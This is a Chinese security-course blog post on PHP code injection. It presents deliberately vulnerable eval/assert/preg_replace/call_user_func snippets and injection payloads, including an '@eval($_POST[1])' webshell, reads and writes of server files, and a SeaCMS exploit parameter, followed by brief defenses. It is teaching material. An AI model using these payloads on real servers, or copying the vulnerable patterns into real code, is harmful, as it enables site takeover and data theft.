【CyberSecurityLearning 58】PHP代码注入
目錄
PHP 代碼注入
原理以及成因
?漏洞危害
介紹相關函數和語句
* eval()
* assert()
* preg_replace()
* call_user_func()
* 動態函數$a($b)
漏洞利用
* 直接獲取Shell
* 獲取當前文件的絕對路徑
?* 讀文件
?* 寫文件
防御方法
實戰:Seacmsv6.26 命令執行
?
PHP 代碼注入
RCE(remote code execute遠程代碼執行/注入)
原理以及成因
PHP ?代碼執行(注入)(Web 方面)是指應用程序過濾不嚴,用戶可以通過HTTP請求將代碼注入到應用(web應用)中執行。代碼執行(注入)類似于SQL 注入漏洞,SQLi 是將SQL 語句注入到數據庫中執行,而代碼執行則是可以把代碼注入到應用中最終由服務器運行它。這樣的漏洞如果沒有特殊的過濾,相當于直接有一個Web 后門的存在(可以在服務器上執行任意命令)。
php腳本運行環境是服務器,所以說代碼注入的時候運行環境是服務器!
造成php代碼注入的原因:(★)
?? ?1. 程序中含有可以執行PHP 代碼的函數或者語言結構
?? ?2. 傳入第一點中的參數,客戶端可控,直接修改或者影響。
?
漏洞危害
? ? Web 應用如果存在代碼執行漏洞是一件非常可怕的事情,就像一個人沒有穿衣服,赤裸裸的暴露在光天化日之下。可以通過代碼執行漏洞 繼承Web 用戶權限,執行任意代碼【也就是說我們在服務器端所所執行的PHP代碼是繼承了web應用的權限】。如果具有服務器沒有正確配置,Web 用戶權限比較高的話,我們可以讀寫目標服務器任意文件內容,甚至控制整個網站以及服務器。【以我們的phpstudy來舉例,phpstudy所支持的PHP環境我們如果存在一個代碼執行注入的話,它就是繼承phpstudy里面web用戶的權限,但是我們phpstudy中web用戶的權限是管理員權限】
本課程中以PHP 為例子來說明,代碼執行漏洞。PHP 中有很多函數和語句都會造成PHP 代碼執行漏洞。
?
介紹相關函數和語句
這些函數就會將字符串當作PHP代碼來執行
為什么要介紹這些函數?如果一個web應用中它寫了這些函數,并且對于這些函數的輸入沒有做嚴格的過濾那就會造成代碼執行漏洞。
* eval()
eval()不是函數,是PHP的一種語言結構
? ? eval() 會將字符串當作php 代碼執行。
? ? 測試代碼如下0
<?php
if(isset($_GET['code'])){
? ? $code=$_GET['code'];
? ? eval($code);
}else{
? ? echo "Please submit code!<br />?code=phpinfo();";
}
?>
? ? 提交變量[?code=phpinfo();]? 有冒號
?
? ? 我們提交一下參數也是可以的
? ? [?code=${phpinfo()};]
? ? [?code=1;phpinfo();]
eval函數能執行多條PHP語句
$_REQUEST是PHP當中的預定義超全局數組變量,包含了GET函數、POST參數、COOKIE參數,也就是說get方式post方式cookie方式傳遞過來的參數,我們$_REQUEST這個數組都能接收到
?
* assert()
? ? assert() 同樣會作為PHP 代碼執行
assert這個函數要著重關注一下是否存在代碼執行注入
? ?測試代碼如下
<?php
if(isset($_GET['code'])){
? ? $code=$_GET['code'];
? ? assert($code);
}else{
? ? echo "Please submit code!<br />?code=phpinfo()";
}
?>
? ? 提交參數[?code=phpinfo()]? 后面可以沒有冒號
* preg_replace()
? ?preg_replace() 函數的作用是對字符串進行正則處理。
? ?
參數和返回值如下
mixed (mixed $pattern,mixed $replacement,mixed $subject[,int limit = -1[,int &$count]])
這段代碼的含義是搜索$subject 中匹配$pattern 的部分,以$replacement 進行替換,而當$pattern 處,即第一個參數存在/e 修飾符時,$replacement 的值會被當成PHP 代碼來執行。
<?php
$str=preg_replace('/a/','b',"abcdefgajest");? //在abcdefgajest這個字符串中去搜索a然后用b替換掉
echo $str;
結果是bbcdefgbjest
?>
典型的代碼如下:
<?php
if(isset($_GET['code'])){
? ? $code=$_GET['code'];
? ? preg_replace("/\[(.*)\]/e",'\\1', $code);? ? #? \[這個中括號做了轉義,實際上就代表中括號? ? \\1代表這個正則第一次匹配的內容
}else{
? ? echo"?code=[phpinfo()]";
}
?>
? ? 提交參數[?code=[phpinfo()]],phpinfo() 會被執行
* call_user_func()
call_user_func() 等函數都有調用其他函數的功能,其中的一個參數作為要調用的函數名,那如果這個傳入的函數名可控,那就可以調用意外的函數來執行我們想要的代碼,也就是存在任意代碼執行漏洞。
以call_user_func() 為例子,該函數的第一個參數作為回調函數,后面的參數為回調函數的參數
屬于回調函數
測試代碼如下
<?php
if(isset($_GET['fun'])){
? ? $fun=$_GET['fun'];
? ? $para=$_GET['para'];
? ? call_user_func($fun,$para);? //? $fun是我們傳遞過來的參數名? ?$para是參數 ,call_user_func()函數的作用就是把para參數傳遞給$fun這個函數去執行
}else{
? ? echo"?fun=assert&para=phpinfo()";
}
?>
? ? 提交參數[?fun=assert¶=phpinfo()]
* 動態函數$a($b)
由于PHP 的特性原因,PHP 的函數支持直接由拼接的方式調用,這直接導致了PHP 在安全上的控制有加大了難度。不少知名程序中也用到了動態函數的寫法,這種寫法跟使用call_user_func() 的初衷一樣,用來更加方便地調用函數,但是一旦過濾不嚴格就會造成代碼執行漏洞。
測試代碼如下
<?php
if(isset($_GET['a'])){
? ? $a=$_GET['a'];
? ? $b=$_GET['b'];
? ? $a($b);
}else{
? ? echo "
? ? ?a=assert&b=phpinfo()
? ? ";
}
?>
? ? 提交參數[?a=assert&b=phpinfo()]
?
漏洞利用
代碼執行漏洞的利用方式有很多種,以下簡單列出幾種。
* 直接獲取Shell
? ? 提交參數[?code=@eval($_POST[1]);],即可構成一句話木馬,密碼為[1]。可以使用菜刀連接。
? ? 連接成功。
這里用蟻劍演示一下:
?
* 獲取當前文件的絕對路徑
? ? __FILE__ 是PHP 預定義常量,其含義當前文件的路徑。提交代碼[?code=print(__FILE__);]
?
* 讀文件
? ? 我們可以利用file_get_contents() 函數讀取服務器任意文件,前提是知道目標文件路徑和讀取權限。提交代碼
? ? [?code=var_dump(file_get_contents('c:\windows\system32\drivers\etc\hosts'));]
? ? 讀取服務器hosts 文件。
? ?
右鍵查看源代碼
?
* 寫文件
? ? 我們可以利用file_put_contents() 函數,寫入文件。前提是知道可寫目錄。
? ? 提交代碼[?code=var_dump(file_put_contents($_POST[1],$_POST[2]));]
? ? 此時需要借助于hackbar 通過post 方式提交參數
? ? [1=shell.php&2=<?php phpinfo()?>]。
?
? ? 即可在當前目錄下創建一個文件shell.php。
?
防御方法
? ? 1. 盡量不要使用eval 等函數
? ? 2. 如果使用的話一定要進行嚴格的過濾
? ? 3. preg_replace 放棄使用/e 修飾符
?? ?4. disable_functions = assert(修改php.ini這個配置文件把相關函數禁用掉,不人道)
?? ?重啟一下phpstudy
實戰:Seacmsv6.26 命令執行
搭建海洋cms環境:
https://github.com/seacms/seacms-v7.2
?
? ? 漏洞點[?searchtype=5&tid=&area=phpinfo()]
?
? ? 此處想象空間非常大。
?? ?
?? ?6.53 6.54 6.55 ?
?
總結
以上是生活随笔為你收集整理的【CyberSecurityLearning 58】PHP代码注入的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 腾讯专家谈全球数据保护案例
- 下一篇: 作者:杜圣东(1981-),男,西南交通